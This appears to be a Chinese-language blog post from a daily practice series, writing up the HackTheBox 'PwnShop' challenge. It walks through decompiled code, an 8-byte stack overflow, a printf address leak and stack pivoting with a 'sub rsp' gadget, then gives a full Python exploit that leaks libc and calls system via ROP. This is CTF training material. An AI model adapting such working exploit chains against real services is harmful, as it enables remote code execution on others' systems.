selph
selph
Published on 2024-10-29 / 56 Visits
0
0

每日一练5:[HTB]PwnShop

前言

该题目的主题是8字节栈溢出打栈迁移

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

今天是第5天,今天很头疼,刷了一些easy,这是中间比较有收获的一篇

题目情况

We just opened a Pwn Shop, time to pwn all the things!

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled

逆向分析

main:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char v3; // bl

  sub_121E(a1, a2, a3);
  puts("========= HTB PwnShop ===========");
  while ( 1 )
  {
    while ( 1 )
    {
      puts("What do you wanna do?");
      printf("1> Buy\n2> Sell\n3> Exit\n> ");
      v3 = getchar();
      getchar();
      if ( v3 != '2' )
        break;
      sub_126A();                               // 2
    }
    if ( v3 == '3' )                            // 3
      break;
    if ( v3 == '1' )                            // 1
      sub_132A();                               // 栈溢出
    else
      puts("Please try again.");
  }
  return 0LL;
}

菜单题,2个选项

选项1:

ssize_t sub_132A()
{
  char v1[72]; // [rsp+0h] [rbp-48h] BYREF

  puts("Sorry, we aren't selling right now.");
  printf("But you can place a request. \nEnter details: ");
  return read(0, v1, 0x50uLL);                  // 栈溢出,刚好覆盖到返回地址
}

这里是8字节的栈溢出

选项2:

int sub_126A()
{
  __int64 v0; // rcx
  _DWORD *v1; // rdi
  _DWORD *v2; // rdi
  __int64 i; // rcx
  _BYTE v5[32]; // [rsp+0h] [rbp-48h] BYREF
  char buf[8]; // [rsp+20h] [rbp-28h] BYREF
  void *v7; // [rsp+28h] [rbp-20h]

  v7 = &byte_40C0;
  printf("What do you wish to sell? ");
  v0 = 8LL;
  v1 = v5;
  *(_QWORD *)buf = 0LL;
  while ( v0 )                                  // memset(v5,0,32)
  {
    *v1++ = 0;
    --v0;
  }
  read(0, v5, 0x1FuLL);
  printf("How much do you want for it? ");
  read(0, buf, 8uLL);
  if ( strcmp(buf, "13.37\n") )
    return printf("What? %s? The best I can do is 13.37$\n", buf);// 泄露数据?
  puts("Sounds good. Leave details here so I can ask my guy to take a look.");
  v2 = v7;
  for ( i = 16LL; i; --i )                      // 清空v7,0x40
    *v2++ = 0;
  return read(0, v7, 0x40uLL);
}

提供了一个打印功能,多半是用来泄露数据的,没有溢出

其中提供了个空函数作为gadgets,显然是用于栈迁移的

.text:0000000000001219 ; void sub_1219()
.text:0000000000001219 sub_1219        proc near
.text:0000000000001219 ; __unwind {
.text:0000000000001219                 sub     rsp, 28h
.text:000000000000121D                 retn
.text:000000000000121D ; } // starts at 1219

利用分析

栈溢出大小太小,需要迁移,刚好用到sub rsp,0x28的gadgets

第一次触发溢出泄露libc地址

第二次触发溢出执行system函数

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b"t\n> "):
    sla(prompt, i)

def buy(payload):
    cmd('1')
    sa(b"Enter details: ",payload)
    #......

def sell():
    cmd('2')
    sla(b"What do you wish to sell? ",b"aa")
    sa(b"How much do you want for it? ",b"11111111")
    #......

sell()
ru(b"11111111")
leak = r(6)
leak = unpack(leak,"all")
success(hex(leak))

elf.address = leak -0x40c0 
success(f"elf.address: {hex(elf.address)}")


sub_rsp_ret = elf.address + 0x000000000001219
main = elf.address + 0x00000000000132a
rop = ROP(elf)
rop.puts(elf.got.puts)
rop.raw(main)
payload = cyclic(0x28)+rop.chain() + pack(sub_rsp_ret)
buy(payload)

leak = ru(b"\x0aSorry")[:6]
leak = unpack(leak,"all")
success(hex(leak))
libc.address = leak - 0x6f6a0
success(f"libc.address: {hex(libc.address)}")

rop = ROP([elf,libc])
rop.raw(rop.ret)
rop.rdi = libc.address + 0x18ce17
rop.call(libc.address + 0x453a0)
payload = cyclic(0x28)+rop.chain() + pack(sub_rsp_ret)

s(payload)
#buy(payload)

ia()

总结

栈溢出,栈迁移,8字节,sub rsp迁移

参考资料


Comment